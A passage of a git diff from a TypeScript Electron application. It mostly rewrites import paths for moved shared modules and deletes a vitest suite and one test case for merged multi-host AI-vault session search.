b/src/main/github/accounts/github-project-account.ts @@ -1,6 +1,9 @@ import type { Repo } from '../../../shared/repository/repo-types' import { normalizeRuntimePathForComparison } from '../../../shared/file-access/cross-platform-path' -import { getConnectionExecutionHostId, type ExecutionHostId } from '../../../shared/execution-host' +import { + getConnectionExecutionHostId, + type ExecutionHostId +} from '../../../shared/execution-host/execution-host' import { normalizeGhAccountBinding } from '../../../shared/github/accounts/account-binding' import { isGitRepoKind } from '../../../shared/repository/repo-kind' import { splitWorktreeIdForFilesystem } from '../../../shared/worktree/id' diff --git a/src/main/github/client/check/pr-checks-last-outcome.ts b/src/main/github/client/check/pr-checks-last-outcome.ts index 49fd47a6af0..be4b50449ac 100644 --- a/src/main/github/client/check/pr-checks-last-outcome.ts +++ b/src/main/github/client/check/pr-checks-last-outcome.ts @@ -1,6 +1,6 @@ import type { PRCheckDetail } from '../../../../shared/github/checks/check-types' import type { GitHubRepositoryIdentity as GitHubOwnerRepo } from '../../../../shared/github/repositories/repository-identity' -import { getRepoExecutionHostId } from '../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../shared/execution-host/execution-host' import { reviewRefreshIntervalMs, type PRAutoRefreshCadence diff --git a/src/main/github/client/create/create-github-pull-request.ts b/src/main/github/client/create/create-github-pull-request.ts index 33dfae27346..c15e6893e01 100644 --- a/src/main/github/client/create/create-github-pull-request.ts +++ b/src/main/github/client/create/create-github-pull-request.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import { hostedReviewSshConnectionId } from '../../../source-control/hosted-review-execution-host' import type { CreateHostedReviewInput, diff --git a/src/main/github/client/lookup/pr-for-branch-outcome.ts b/src/main/github/client/lookup/pr-for-branch-outcome.ts index 2cf56e2b7d7..c1da8aeec30 100644 --- a/src/main/github/client/lookup/pr-for-branch-outcome.ts +++ b/src/main/github/client/lookup/pr-for-branch-outcome.ts @@ -34,7 +34,7 @@ import { hostedReviewRepoScope, scopeGeneration } from '../../../source-control/hosted-review-scope-generations' -import { getRepoExecutionHostId } from '../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../shared/execution-host/execution-host' import { completePRBranchRead, pendingPRBranchRead, diff --git a/src/main/github/client/lookup/pr-read-identity.ts b/src/main/github/client/lookup/pr-read-identity.ts index 99eac7ab0fa..3c00f9e752d 100644 --- a/src/main/github/client/lookup/pr-read-identity.ts +++ b/src/main/github/client/lookup/pr-read-identity.ts @@ -1,5 +1,5 @@ import { ghRepoExecOptions, githubRepoContext } from '../../repositories/github-repository-identity' -import { getRepoExecutionHostId } from '../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../shared/execution-host/execution-host' import { hostedReviewRepoScope, scopeGeneration diff --git a/src/main/github/client/lookup/tracked-upstream-branch.ts b/src/main/github/client/lookup/tracked-upstream-branch.ts index a01b56d4e5c..39706e9939f 100644 --- a/src/main/github/client/lookup/tracked-upstream-branch.ts +++ b/src/main/github/client/lookup/tracked-upstream-branch.ts @@ -21,7 +21,7 @@ import { type TrackedUpstreamSnapshotProbeResult } from './tracked-upstream-cache' import { requireReachableGitRoute } from '../../../providers/execution-host-provider-dispatch' -import { getConnectionExecutionHostId } from '../../../../shared/execution-host' +import { getConnectionExecutionHostId } from '../../../../shared/execution-host/execution-host' export async function getTrackedUpstreamBranch( repoPath: string, branchName: string, diff --git a/src/main/github/pull-requests/refresh/pr-mutation-review-invalidation.ts b/src/main/github/pull-requests/refresh/pr-mutation-review-invalidation.ts index 71aeef45960..0fb55804abd 100644 --- a/src/main/github/pull-requests/refresh/pr-mutation-review-invalidation.ts +++ b/src/main/github/pull-requests/refresh/pr-mutation-review-invalidation.ts @@ -1,4 +1,4 @@ -import { getRepoExecutionHostId } from '../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../shared/execution-host/execution-host' import { invalidateHostedReviewBranchCache } from '../../../source-control/hosted-review-branch-cache' // A post-mutation refresh must not join an older lookup or reuse its cached answer. diff --git a/src/main/github/pull-requests/stacks/stacked-pr-creation.ts b/src/main/github/pull-requests/stacks/stacked-pr-creation.ts index aaf54d9d4c2..3e4a536308e 100644 --- a/src/main/github/pull-requests/stacks/stacked-pr-creation.ts +++ b/src/main/github/pull-requests/stacks/stacked-pr-creation.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import { hostedReviewSshConnectionId } from '../../../source-control/hosted-review-execution-host' import type { CreateStackedHostedReviewInput, diff --git a/src/main/github/pull-requests/start-points/pr-head-tracking-ref.ts b/src/main/github/pull-requests/start-points/pr-head-tracking-ref.ts index 9c369e29892..9e24cae2e1e 100644 --- a/src/main/github/pull-requests/start-points/pr-head-tracking-ref.ts +++ b/src/main/github/pull-requests/start-points/pr-head-tracking-ref.ts @@ -10,7 +10,7 @@ import { SSH_GIT_RECONNECT_MESSAGE, SshHostNotServedError } from '../../../providers/ssh-host-not-served-error' -import { getRepoRoutingConnectionId } from '../../../../shared/execution-host' +import { getRepoRoutingConnectionId } from '../../../../shared/execution-host/execution-host' import type { Repo } from '../../../../shared/repository/repo-types' type LocalGitExecOptions = { diff --git a/src/main/github/repositories/github-enterprise-repository.ts b/src/main/github/repositories/github-enterprise-repository.ts index 0ad6fd6f24c..d714a0400c7 100644 --- a/src/main/github/repositories/github-enterprise-repository.ts +++ b/src/main/github/repositories/github-enterprise-repository.ts @@ -22,7 +22,7 @@ import { resolveSshConfigHostname } from './github-ssh-host-alias-resolution' import { parseWslPath } from '../../wsl/filesystem/unc-path-access' import { isStableMissingGitRemoteError } from '../../git/remotes/stable-missing-git-remote-error' import { requireReachableGitRoute } from '../../providers/execution-host-provider-dispatch' -import { getConnectionExecutionHostId } from '../../../shared/execution-host' +import { getConnectionExecutionHostId } from '../../../shared/execution-host/execution-host' import { getPublicForgeProviderForHost } from '../../../shared/git/remotes/public-forge-host' export type GitHubEnterpriseRepoSlug = GitHubOwnerRepo & { host: string } diff --git a/src/main/github/repositories/github-repository-identity.ts b/src/main/github/repositories/github-repository-identity.ts index f915b0ab2ce..d9259b5222a 100644 --- a/src/main/github/repositories/github-repository-identity.ts +++ b/src/main/github/repositories/github-repository-identity.ts @@ -14,7 +14,7 @@ import { classifyGitHubOwnerRepoFromRemoteUrl } from './github-ssh-host-alias-re import { isStableMissingGitRemoteError } from '../../git/remotes/stable-missing-git-remote-error' import type { GitAdmissionTier } from '../../../shared/rpc-contract/source-control/git-admission-tier-params' import { requireReachableGitRoute } from '../../providers/execution-host-provider-dispatch' -import { getConnectionExecutionHostId } from '../../../shared/execution-host' +import { getConnectionExecutionHostId } from '../../../shared/execution-host/execution-host' import { resolveGitHubProjectAccount } from '../accounts/github-project-account' export type GitHubRepoContext = { diff --git a/src/main/github/workspace-links/github-issue-link-title-fill.ts b/src/main/github/workspace-links/github-issue-link-title-fill.ts index b9e9ab9a612..b6241157035 100644 --- a/src/main/github/workspace-links/github-issue-link-title-fill.ts +++ b/src/main/github/workspace-links/github-issue-link-title-fill.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../shared/execution-host' +import type { ExecutionHostId } from '../../../shared/execution-host/execution-host' import type { Repo } from '../../../shared/repository/repo-types' import type { WorktreeMeta } from '../../../shared/worktree/meta-types' import type { WorkspaceAttachment } from '../../../shared/worktree/types' diff --git a/src/main/github/workspace-links/github-issue-link-title-wiring.ts b/src/main/github/workspace-links/github-issue-link-title-wiring.ts index 5d8d19f76e6..f69458c2545 100644 --- a/src/main/github/workspace-links/github-issue-link-title-wiring.ts +++ b/src/main/github/workspace-links/github-issue-link-title-wiring.ts @@ -6,7 +6,7 @@ import { type WorkspaceMetadataSet } from '../../../shared/worktree/metadata/workspace-metadata-set' import type { WorkspaceAttachment } from '../../../shared/worktree/types' -import { getRepoRoutingConnectionId } from '../../../shared/execution-host' +import { getRepoRoutingConnectionId } from '../../../shared/execution-host/execution-host' import type { Store } from '../../persistence/loading-store/store' import { getLocalProjectGhExecOptions } from '../../workspaces/execution-host/project-runtime-git-options' import { getIssue } from '../issues/issues' diff --git a/src/main/gitlab/merge-requests/merge-request-creation.ts b/src/main/gitlab/merge-requests/merge-request-creation.ts index d07ea43e9a7..b9993d1e106 100644 --- a/src/main/gitlab/merge-requests/merge-request-creation.ts +++ b/src/main/gitlab/merge-requests/merge-request-creation.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../shared/execution-host' +import type { ExecutionHostId } from '../../../shared/execution-host/execution-host' import { hostedReviewSshConnectionId } from '../../source-control/hosted-review-execution-host' import { readFile } from 'node:fs/promises' import { join } from 'node:path' diff --git a/src/main/gitlab/merge-requests/mr-head-tracking-ref.ts b/src/main/gitlab/merge-requests/mr-head-tracking-ref.ts index 4af59199b7b..5d49fb40182 100644 --- a/src/main/gitlab/merge-requests/mr-head-tracking-ref.ts +++ b/src/main/gitlab/merge-requests/mr-head-tracking-ref.ts @@ -10,7 +10,7 @@ import { SSH_GIT_RECONNECT_MESSAGE, SshHostNotServedError } from '../../providers/ssh-host-not-served-error' -import { getRepoRoutingConnectionId } from '../../../shared/execution-host' +import { getRepoRoutingConnectionId } from '../../../shared/execution-host/execution-host' import type { Repo } from '../../../shared/repository/repo-types' type LocalGitExecOptions = { diff --git a/src/main/gitlab/projects/gitlab-project-recents.ts b/src/main/gitlab/projects/gitlab-project-recents.ts index 3de34555b71..548028ce54a 100644 --- a/src/main/gitlab/projects/gitlab-project-recents.ts +++ b/src/main/gitlab/projects/gitlab-project-recents.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../shared/settings/global-settings-types' import { computeNextGitLabRecents } from '../../../shared/gitlab/gitlab-projects' export type GitLabProjectRecentsStore = { diff --git a/src/main/host-repo-catalog-snapshot/host-repo-catalog-snapshot.test.ts b/src/main/host-repo-catalog-snapshot/host-repo-catalog-snapshot.test.ts index 5dbb3ac36a7..4abdfe0b37c 100644 --- a/src/main/host-repo-catalog-snapshot/host-repo-catalog-snapshot.test.ts +++ b/src/main/host-repo-catalog-snapshot/host-repo-catalog-snapshot.test.ts @@ -2,7 +2,7 @@ import { mkdtempSync, rmSync } from 'node:fs' import { tmpdir } from 'node:os' import { join } from 'node:path' import { afterEach, beforeEach, expect, it, vi } from 'vitest' -import { getDefaultPersistedState } from '../../shared/constants' +import { getDefaultPersistedState } from '../../shared/orca-profiles/constants' import { setSecretStore } from '../../shared/secure-storage/secret-store' import type { RuntimeRpcResponse } from '../../shared/remote-runtime/rpc/runtime-rpc-envelope' import { diff --git a/src/main/ipc/ai-vault/ai-vault-delete.ts b/src/main/ipc/ai-vault/ai-vault-delete.ts index 67cb10409ae..a8570ce55ad 100644 --- a/src/main/ipc/ai-vault/ai-vault-delete.ts +++ b/src/main/ipc/ai-vault/ai-vault-delete.ts @@ -3,7 +3,7 @@ import { configureRemoteAiVaultSessionDelete, deleteHostAiVaultSession } from '../../ai-vault/deletion/host-session-delete' -import { parseRoutableExecutionHostId } from '../../../shared/execution-host' +import { parseRoutableExecutionHostId } from '../../../shared/execution-host/execution-host' import type { AiVaultDeleteSessionArgs, AiVaultDeleteSessionResult diff --git a/src/main/ipc/ai-vault/ai-vault-handoff.ts b/src/main/ipc/ai-vault/ai-vault-handoff.ts index b6c13693ba4..6cf71e96d30 100644 --- a/src/main/ipc/ai-vault/ai-vault-handoff.ts +++ b/src/main/ipc/ai-vault/ai-vault-handoff.ts @@ -1,4 +1,7 @@ -import { isUnresolvedOwnerHostId, parseExecutionHostId } from '../../../shared/execution-host' +import { + isUnresolvedOwnerHostId, + parseExecutionHostId +} from '../../../shared/execution-host/execution-host' import { AI_VAULT_SESSION_HANDOFF_TIMEOUT_MS, readAiVaultSessionHandoffResult, diff --git a/src/main/ipc/ai-vault/ai-vault-local-scan.ts b/src/main/ipc/ai-vault/ai-vault-local-scan.ts index e2da929f2eb..fbe8cb59bbc 100644 --- a/src/main/ipc/ai-vault/ai-vault-local-scan.ts +++ b/src/main/ipc/ai-vault/ai-vault-local-scan.ts @@ -9,7 +9,7 @@ import { type AiVaultListArgs, type AiVaultListResult } from '../../../shared/ai-vault/contracts/ai-vault-types' -import { LOCAL_EXECUTION_HOST_ID } from '../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../shared/execution-host/execution-host' // Like remote failures, local scanner/cache/WSL failures must degrade to issues without discarding healthy hosts. export async function scanLocalAiVaultSessionsAsIssue( diff --git a/src/main/ipc/ai-vault/ai-vault-resume.ts b/src/main/ipc/ai-vault/ai-vault-resume.ts index 3be4892b806..ca53cdb6951 100644 --- a/src/main/ipc/ai-vault/ai-vault-resume.ts +++ b/src/main/ipc/ai-vault/ai-vault-resume.ts @@ -6,7 +6,10 @@ import type { AiVaultPrepareSessionResumeResult, AiVaultSessionResumePreparation } from '../../../shared/ai-vault/resume/ai-vault-resume-preparation' -import { isUnresolvedOwnerHostId, parseExecutionHostId } from '../../../shared/execution-host' +import { + isUnresolvedOwnerHostId, + parseExecutionHostId +} from '../../../shared/execution-host/execution-host' import { isWslUncPath } from '../../../shared/file-access/wsl-paths' import { assertLegacyAiVaultResumeAllowed } from '../../ai-vault/structured-sessions/structured-session-ownership' import { tryEnsureStructuredAgentSessionHostForResume } from '../../runtime/agent-session/structured-agent-session-host-refusal' diff --git a/src/main/ipc/ai-vault/ai-vault-search-all-hosts-real-index.test.ts b/src/main/ipc/ai-vault/ai-vault-search-all-hosts-real-index.test.ts deleted file mode 100644 index b5ce86b44b6..00000000000 --- a/src/main/ipc/ai-vault/ai-vault-search-all-hosts-real-index.test.ts +++ /dev/null @@ -1,193 +0,0 @@ -import '../../ai-vault-search/worker/session-search-worker.test-fixture' -import { mkdir, rm, writeFile } from 'node:fs/promises' -import { join } from 'node:path' -import { afterEach, beforeEach, expect, it } from 'vitest' -import { resetSessionParseCacheForTests } from '../../ai-vault/parse-cache/session-parse-cache-store' -import { resetTranscriptConsumersForTests } from '../../ai-vault/transcripts/session-transcript-consumers' -import { SessionSearchInstance } from '../../ai-vault-search/session-search-instance' -import { - claudeLines, - openSessionSearchIndexerHarness, - type SessionSearchIndexerHarness -} from '../../ai-vault-search/indexing/session-search-indexer-test-fixture' -import type { AiVaultSearchResponse } from '../../../shared/ai-vault/search/ai-vault-search-types' -import type { ExecutionHostId } from '../../../shared/execution-host' -import { searchAllExecutionHosts, type SessionSearchHostLeg } from './ai-vault-search-all-hosts' - -/** Verify merged hit sets, purge fencing and retries against three independent real transcript indexes. */ - -const HOST_IDS = ['local', 'ssh:alpha', 'ssh:beta'] as const -const SESSIONS_PER_HOST = [14, 13, 13] as const - -type Host = { - executionHostId: ExecutionHostId - harness: SessionSearchIndexerHarness - instance: SessionSearchInstance - sessionIds: string[] -} - -let hosts: Host[] - -function sessionIdFor(index: number): string { - return `aaaaaaaa-bbbb-4ccc-8ddd-${String(index).padStart(12, '0')}` -} - -async function writeSession(harness: SessionSearchIndexerHarness, index: number): Promise { - const sessionId = sessionIdFor(index) - const path = join(harness.claudeProjectDir, `${sessionId}.jsonl`) - await mkdir(harness.claudeProjectDir, { recursive: true }) - // Give every hit a distinct timestamp to make cross-host ordering total. - const lines = claudeLines([`needle transcript ${index}`], sessionId, index * 2) - await writeFile(path, `${lines.join('\n')}\n`) - return sessionId -} - -beforeEach(async () => { - resetSessionParseCacheForTests() - resetTranscriptConsumersForTests() - hosts = [] - let nextIndex = 0 - for (const [position, executionHostId] of HOST_IDS.entries()) { - const harness = await openSessionSearchIndexerHarness(`ss-all-hosts-${position}`) - const sessionIds: string[] = [] - for (let n = 0; n < SESSIONS_PER_HOST[position]!; n++) { - sessionIds.push(await writeSession(harness, nextIndex++)) - } - const instance = new SessionSearchInstance({ - databasePath: harness.databasePath, - roots: harness.roots, - onError: (error) => { - throw error - } - }) - // Build each host index alone: transcript reads publish to every live consumer in one process. - instance.apply({ enabled: true, historyDays: null }) - await instance.settled() - instance.close() - hosts.push({ executionHostId, harness, instance, sessionIds }) - } - for (const host of hosts) { - host.instance.apply({ enabled: true, historyDays: null }) - await host.instance.settled() - const own = resultsOf(await host.instance.search({ query: 'needle', limit: 100 })) - expect(own.hits.map((hit) => hit.sessionId).sort()).toEqual([...host.sessionIds].sort()) - } -}) - -afterEach(async () => { - for (const host of hosts) { - host.instance.close() - await host.harness.cleanup() - } - resetTranscriptConsumersForTests() - resetSessionParseCacheForTests() -}) - -function legs(overrides: Partial> = {}) { - return hosts.map((host) => ({ - executionHostId: host.executionHostId, - search: overrides[host.executionHostId] ?? ((request) => host.instance.search(request)) - })) satisfies SessionSearchHostLeg[] -} - -function resultsOf(response: AiVaultSearchResponse) { - if (response.kind !== 'results') { - throw new Error(`expected results, got ${response.kind}`) - } - return response -} - -function keysOf(response: AiVaultSearchResponse): string[] { - return resultsOf(response).hits.map((hit) => `${hit.executionHostId}/${hit.sessionId}`) -} - -function everyKey(): string[] { - return hosts.flatMap((host) => - host.sessionIds.map((sessionId) => `${host.executionHostId}/${sessionId}`) - ) -} - -it('replays snapshot tails then fences the changed host at its next read while healthy hosts finish', async () => { - const request = { query: 'needle', limit: 5 } - const first = resultsOf(await searchAllExecutionHosts(request, legs())) - expect(first.hosts?.every((host) => host.outcome === 'searched')).toBe(true) - - const purged = hosts[2]! - await rm(join(purged.harness.claudeProjectDir, `${purged.sessionIds[0]!}.jsonl`)) - await purged.instance.reconcile() - - const second = resultsOf( - await searchAllExecutionHosts({ ...request, cursor: first.page.cursor! }, legs()) - ) - expect(second.hosts).toContainEqual({ executionHostId: 'ssh:beta', outcome: 'searched' }) - expect(second.hits.some((hit) => hit.executionHostId === 'ssh:beta')).toBe(true) - - const seen = [...keysOf(first), ...keysOf(second)] - let cursor = second.page.cursor - let pages = 0 - let stale = false - while (cursor !== null) { - const page = resultsOf(await searchAllExecutionHosts({ ...request, cursor }, legs())) - stale ||= - page.hosts?.some((host) => host.executionHostId === 'ssh:beta' && host.outcome === 'stale') ?? - false - seen.push(...keysOf(page)) - cursor = page.page.cursor - // Fail boundedly if a host is never retired. - expect((pages += 1)).toBeLessThan(40) - } - expect(stale).toBe(true) - // The first host page was already hydrated, so its carried tail survives the write. - expect(new Set(seen).size).toBe(seen.length) - const betaEmitted = [39, 38, 37, 36, 35].map((id) => `ssh:beta/${sessionIdFor(id)}`) - expect([...seen].sort()).toEqual( - [ - ...hosts[0]!.sessionIds.map((id) => `local/${id}`), - ...hosts[1]!.sessionIds.map((id) => `ssh:alpha/${id}`), - ...betaEmitted - ].sort() - ) -}) - -it('reports an unreachable host, keeps hasMore, and picks it up on the retry', async () => { - let reject = true - const flaky = () => - reject - ? Promise.reject(new Error('relay down')) - : hosts[1]!.instance.search({ - query: 'needle', - limit: 5, - filters: { sort: 'relevance' } - }) - const request = { query: 'needle', limit: 5 } - const first = resultsOf(await searchAllExecutionHosts(request, legs({ 'ssh:alpha': flaky }))) - expect(first.hosts).toContainEqual({ - executionHostId: 'ssh:alpha', - outcome: 'unreachable' - }) - expect(first.page.hasMore).toBe(true) - expect(first.hits.some((hit) => hit.executionHostId === 'ssh:alpha')).toBe(false) - - reject = false - const second = resultsOf( - await searchAllExecutionHosts({ ...request, cursor: first.page.cursor! }, legs()) - ) - expect(second.hosts).toContainEqual({ - executionHostId: 'ssh:alpha', - outcome: 'searched' - }) - expect(second.hits.some((hit) => hit.executionHostId === 'ssh:alpha')).toBe(true) - - const seen = [...keysOf(first), ...keysOf(second)] - let cursor = second.page.cursor - let pages = 0 - while (cursor !== null) { - const page = resultsOf(await searchAllExecutionHosts({ ...request, cursor }, legs())) - seen.push(...keysOf(page)) - cursor = page.page.cursor - // Fail boundedly if a host is never retired. - expect((pages += 1)).toBeLessThan(40) - } - expect(new Set(seen).size).toBe(seen.length) - expect([...seen].sort()).toEqual(everyKey().sort()) -}) diff --git a/src/main/ipc/ai-vault/ai-vault-search-all-hosts.test.ts b/src/main/ipc/ai-vault/ai-vault-search-all-hosts.test.ts index 694e5315755..07f0895bc22 100644 --- a/src/main/ipc/ai-vault/ai-vault-search-all-hosts.test.ts +++ b/src/main/ipc/ai-vault/ai-vault-search-all-hosts.test.ts @@ -4,7 +4,7 @@ import type { AiVaultSearchRequest, AiVaultSearchResponse } from '../../../shared/ai-vault/search/ai-vault-search-types' -import type { ExecutionHostId } from '../../../shared/execution-host' +import type { ExecutionHostId } from '../../../shared/execution-host/execution-host' import { searchAllExecutionHosts, type SessionSearchHostLeg } from './ai-vault-search-all-hosts' /** A host that ranks a fixed list and fences its own cursors on a generation change. */ @@ -138,31 +138,6 @@ it('calls a leg that times out unreachable and retries it on the next page', asy } }) -it('reads at most three pages from one host per merged request', async () => { - // Three-page budget stops a six-page host walk; retain its unread cursor for the next merged page. - const host = new StubHost('local', sessions('a', 12), 2) - const first = resultsOf( - await searchAllExecutionHosts({ query: 'needle', limit: 10 }, [host.leg()]) - ) - expect(host.pages).toBe(3) - expect(first.hits.map((hit) => hit.sessionId)).toEqual(['a-0', 'a-1', 'a-2', 'a-3', 'a-4', 'a-5']) - expect(first.page.hasMore).toBe(true) - - const second = resultsOf( - await searchAllExecutionHosts({ query: 'needle', limit: 10, cursor: first.page.cursor! }, [ - host.leg() - ]) - ) - expect(second.hits.map((hit) => hit.sessionId)).toEqual([ - 'a-6', - 'a-7', - 'a-8', - 'a-9', - 'a-10', - 'a-11' - ]) -}) - it('replays bounded partial and terminal host pages without refetching or inheriting another query scope', async () => { const a = new StubHost('local', sessions('a', 2)) const b = new StubHost('ssh:b', sessions('b', 2)) diff --git a/src/main/ipc/ai-vault/ai-vault-search-all-hosts.ts b/src/main/ipc/ai-vault/ai-vault-search-all-hosts.ts index ee7cb55f00f..1dd8fe71390 100644 --- a/src/main/ipc/ai-vault/ai-vault-search-all-hosts.ts +++ b/src/main/ipc/ai-vault/ai-vault-search-all-hosts.ts @@ -7,7 +7,7 @@ import type { AiVaultSearchRequest, AiVaultSearchResponse } from '../../../shared/ai-vault/search/ai-vault-search-types' -import type { ExecutionHostId } from '../../../shared/execution-host' +import type { ExecutionHostId } from '../../../shared/execution-host/execution-host' import { decodeMergedSearchCursor, encodeMergedSearchCursor, diff --git a/src/main/ipc/ai-vault/ai-vault-search.ts b/src/main/ipc/ai-vault/ai-vault-search.ts index 746b05991b9..40609f8415e 100644 --- a/src/main/ipc/ai-vault/ai-vault-search.ts +++ b/src/main/ipc/ai-vault/ai-vault-search.ts @@ -24,7 +24,7 @@ import { LOCAL_EXECUTION_HOST_ID, parseRoutableExecutionHostId, type ParsedExecutionHost -} from '../../../shared/execution-host' +} from '../../../shared/execution-host/execution-host' import { clearSessionSearchInService } from '../../ai-vault/scan-service/session-scanner-service-spawn' import { searchAllExecutionHosts, type SessionSearchHostLeg } from './ai-vault-search-all-hosts' import { getActiveRuntimeAiVaultHostInfosResult } from './ai-vault' diff --git a/src/main/ipc/ai-vault/ai-vault-session-title-routing.ts b/src/main/ipc/ai-vault/ai-vault-session-title-routing.ts index 875502d5b7d..a18ea195d6e 100644 --- a/src/main/ipc/ai-vault/ai-vault-session-title-routing.ts +++ b/src/main/ipc/ai-vault/ai-vault-session-title-routing.ts @@ -6,7 +6,7 @@ import { LOCAL_EXECUTION_HOST_ID, parseRoutableExecutionHostId, requestedExecutionHostScope -} from '../../../shared/execution-host' +} from '../../../shared/execution-host/execution-host' import { resolveLocalAiVaultSessionTitles } from '../../ai-vault/session-titles/session-title-resolver' export type RuntimeAiVaultSessionTitleResolver = ( diff --git a/src/main/ipc/ai-vault/ai-vault-subagent-list.ts b/src/main/ipc/ai-vault/ai-vault-subagent-list.ts index d314a18c647..3bbda2fb8d7 100644 --- a/src/main/ipc/ai-vault/ai-vault-subagent-list.ts +++ b/src/main/ipc/ai-vault/ai-vault-subagent-list.ts @@ -4,7 +4,7 @@ import { listAiVaultSubagentSessionsInBackground } from '../../ai-vault/scan-ser import { claudeProjectsRootDirs } from '../../ai-vault/discovery/session-scanner-roots' import { sessionRowRootDirs } from '../../ai-vault/discovery/session-scanner-agent-sources' import { isPathInsideOrEqual } from '../../../shared/file-access/cross-platform-path' -import { LOCAL_EXECUTION_HOST_ID } from '../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../shared/execution-host/execution-host' import type { AiVaultSubagentListArgs, AiVaultSubagentListResult diff --git a/src/main/ipc/ai-vault/ai-vault.ts b/src/main/ipc/ai-vault/ai-vault.ts index 8e3d1f0d45d..6e1d58af708 100644 --- a/src/main/ipc/ai-vault/ai-vault.ts +++ b/src/main/ipc/ai-vault/ai-vault.ts @@ -33,7 +33,7 @@ import { requestedExecutionHostScope, toRuntimeExecutionHostId, type ExecutionHostId -} from '../../../shared/execution-host' +} from '../../../shared/execution-host/execution-host' import { createSenderScopedRequestCancellations } from '../sender-scoped-request-cancellation' import { discoverAiVaultHosts, type AiVaultHostDiscoveryResult } from './ai-vault-host-discovery' import { diff --git a/src/main/ipc/app.ts b/src/main/ipc/app.ts index 6c6d2544137..7b8aa72abec 100644 --- a/src/main/ipc/app.ts +++ b/src/main/ipc/app.ts @@ -7,7 +7,7 @@ import { pathToFileURL } from 'node:url' import { app, BrowserWindow, dialog, ipcMain, type IpcMainInvokeEvent } from 'electron' import type { AppIdentity } from '../../shared/app-lifecycle/identity/app-identity' import type { MarkdownDocument } from '../../shared/file-listing/file-document' -import type { FloatingTerminalCwdRequest } from '../../shared/ui-chrome-types' +import type { FloatingTerminalCwdRequest } from '../../shared/ui-chrome/ui-chrome-types' import { relaunchApp, runBeforeRelaunchCleanup } from '../startup/quit/app-relaunch' import { setWindowMaterialSuppressed } from '../window/presentation/window-material-suppression' import { isTrustedUIRenderer } from './ui' diff --git a/src/main/ipc/automations.ts b/src/main/ipc/automations.ts index 40f0b3c574f..fcaf05a7661 100644 --- a/src/main/ipc/automations.ts +++ b/src/main/ipc/automations.ts @@ -1,4 +1,4 @@ -import { parseExecutionHostId } from '../../shared/execution-host' +import { parseExecutionHostId } from '../../shared/execution-host/execution-host' import { hostWorktreeTarget } from '../../shared/worktree/host-qualified-identity' import { ipcMain } from 'electron' import type { Store } from '../persistence/loading-store/store' diff --git a/src/main/ipc/browser/browser-passwords-ipc.ts b/src/main/ipc/browser/browser-passwords-ipc.ts index b5c15182977..5708288475d 100644 --- a/src/main/ipc/browser/browser-passwords-ipc.ts +++ b/src/main/ipc/browser/browser-passwords-ipc.ts @@ -4,7 +4,7 @@ import type { BrowserPasswordSavePromptResponse, BrowserPasswordsStatus } from '../../../shared/browser/passwords/browser-passwords-types' -import type { GlobalSettings } from '../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../shared/settings/global-settings-types' import { isTrustedBrowserRenderer } from './browser-renderer-trust' import { configureBrowserPasswords, diff --git a/src/main/ipc/browser/desktop-browser-bridge-host-control.ts b/src/main/ipc/browser/desktop-browser-bridge-host-control.ts index c2dfead90eb..b1c2752619c 100644 --- a/src/main/ipc/browser/desktop-browser-bridge-host-control.ts +++ b/src/main/ipc/browser/desktop-browser-bridge-host-control.ts @@ -6,7 +6,7 @@ import { DESKTOP_BROWSER_BRIDGE_HOST_STOP_CHANNEL, type DesktopBrowserBridgeHostNotice } from '../../../shared/browser/client-hosting/desktop-browser-bridge-host-control-contract' -import type { GlobalSettings } from '../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../shared/settings/global-settings-types' import type { SshTarget } from '../../../shared/remote-runtime/ssh/ssh-types' import { isRuntimeOwnedSshTarget } from '../../ssh/targets/ssh-target-runtime-ownership' import { setDesktopBrowserBridgeHostStopped } from './desktop-browser-bridge-reconcile' diff --git a/src/main/ipc/codex-accounts.ts b/src/main/ipc/codex-accounts.ts index 614cc640cac..844c0326d10 100644 --- a/src/main/ipc/codex-accounts.ts +++ b/src/main/ipc/codex-accounts.ts @@ -9,7 +9,7 @@ import { forgetStaleCodexPanes, listStaleCodexPanes } from '../codex/configuration/homes/codex-stale-pane-accounts' -import type { GlobalSettings } from '../../shared/global-settings-types' +import type { GlobalSettings } from '../../shared/settings/global-settings-types' export function registerCodexAccountHandlers( codexAccounts: CodexAccountService, diff --git a/src/main/ipc/dashboard-payload-validation.ts b/src/main/ipc/dashboard-payload-validation.ts index bafc31197b1..5afd5042b11 100644 --- a/src/main/ipc/dashboard-payload-validation.ts +++ b/src/main/ipc/dashboard-payload-validation.ts @@ -4,7 +4,7 @@ import { type DashboardSnapshot } from '../../shared/agent-status/presentation/dashboard-snapshot' import { BoundedMap } from '../../shared/collections/bounded-map' -import { normalizeExecutionHostId } from '../../shared/execution-host' +import { normalizeExecutionHostId } from '../../shared/execution-host/execution-host' import { sanitizeRepoIcon } from '../../shared/repository/appearance/repo-icon' import { AGENT_STATUS_ASSISTANT_MESSAGE_MAX_LENGTH, diff --git a/src/main/ipc/dashboard-workspace-payload-validation.ts b/src/main/ipc/dashboard-workspace-payload-validation.ts index 6c29e16d443..59d91d7462b 100644 --- a/src/main/ipc/dashboard-workspace-payload-validation.ts +++ b/src/main/ipc/dashboard-workspace-payload-validation.ts @@ -3,7 +3,7 @@ import { DASHBOARD_MAX_MAP_WORKSPACES, type DashboardWorkspace } from '../../shared/agent-status/presentation/dashboard-snapshot' -import { normalizeExecutionHostId } from '../../shared/execution-host' +import { normalizeExecutionHostId } from '../../shared/execution-host/execution-host' const MAX_ID_LENGTH = 4_096 const HOST_KINDS = new Set(['local', 'ssh', 'wsl', 'remote']) diff --git a/src/main/ipc/filesystem/filesystem-git-at-risk-local-files-handlers.ts b/src/main/ipc/filesystem/filesystem-git-at-risk-local-files-handlers.ts index d239eccb004..2136cecae0f 100644 --- 